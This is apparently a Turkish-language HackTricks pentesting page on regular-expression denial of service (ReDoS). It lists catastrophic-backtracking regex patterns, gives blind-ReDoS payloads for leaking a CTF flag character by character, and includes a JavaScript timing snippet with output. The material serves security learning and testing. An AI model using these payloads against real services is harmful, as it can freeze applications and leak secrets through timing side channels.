hacktricks/src/pentesting-web/regular-expression-denial-of-service-redos.md

81 lines
4.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Regular expression Denial of Service - ReDoS
{{#include ../banners/hacktricks-training.md}}
# Regular Expression Denial of Service (ReDoS)
Bir **Regular Expression Denial of Service (ReDoS)**, birinin düzenli ifadelerin (metin içinde desenleri arama ve eşleştirme yöntemi) nasıl çalıştığındaki zayıflıkları kullanması durumunda meydana gelir. Bazen, düzenli ifadeler kullanıldığında, özellikle üzerinde çalıştıkları metin parçası büyüdüğünde çok yavaş hale gelebilirler. Bu yavaşlık, metin boyutundaki küçük artışlarla bile çok hızlı bir şekilde kötüleşebilir. Saldırganlar, bu sorunu kullanarak düzenli ifadeleri kullanan bir programın uzun bir süre düzgün çalışmasını engelleyebilirler.
## Problemli Regex Naif Algoritması
**Detayları kontrol edin [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Kötü Regexler <a href="#evil-regexes" id="evil-regexes"></a>
Kötü bir düzenli ifade deseni, **özel olarak hazırlanmış girdi üzerinde takılı kalabilen** bir desendir. Kötü regex desenleri genellikle tekrar içeren gruplama ve tekrar veya tekrarlanan grupta örtüşme ile alternatif içerir. Kötü desenlere bazı örnekler şunlardır:
- (a+)+
- ([a-zA-Z]+)\*
- (a|aa)+
- (a|a?)+
- (.\*a){x} for x > 10
Bunların hepsi `aaaaaaaaaaaaaaaaaaaaaaaa!` girdisine karşı savunmasızdır.
## ReDoS Yükleri
### ReDoS ile Dize Sızdırma
Bir CTF'de (veya hata ödülü) belki de **düzenli ifadenin eşleştiği hassas bilgiyi (bayrağı) kontrol ediyorsunuzdur**. O zaman, **sayfanın donmasını (zaman aşımı veya daha uzun işleme süresi)** sağlamak faydalı olabilir eğer **bir Regex eşleştiyse** ve **eşleşmediyse değilse**. Bu şekilde, dizeyi **karakter karakter** **sızdırabilirsiniz**:
- [**bu yazıda**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) bu ReDoS kuralını bulabilirsiniz: `^(?=<flag>)((.*)*)*salt$`
- Örnek: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- [**bu yazımda**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) bunu bulabilirsiniz: `<flag>(((((((.*)*)*)*)*)*)*)!`
- [**bu yazımda**](https://ctftime.org/writeup/25869) şunu kullandı: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Girdi ve Regex Kontrolü
Aşağıdakiler, **girdiyi** ve **regex'i** **kontrol ettiğiniz** **ReDoS** örnekleridir:
```javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
;[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Araçlar
- [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
- [https://devina.io/redos-checker](https://devina.io/redos-checker)
## Referanslar
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{{#include ../banners/hacktricks-training.md}}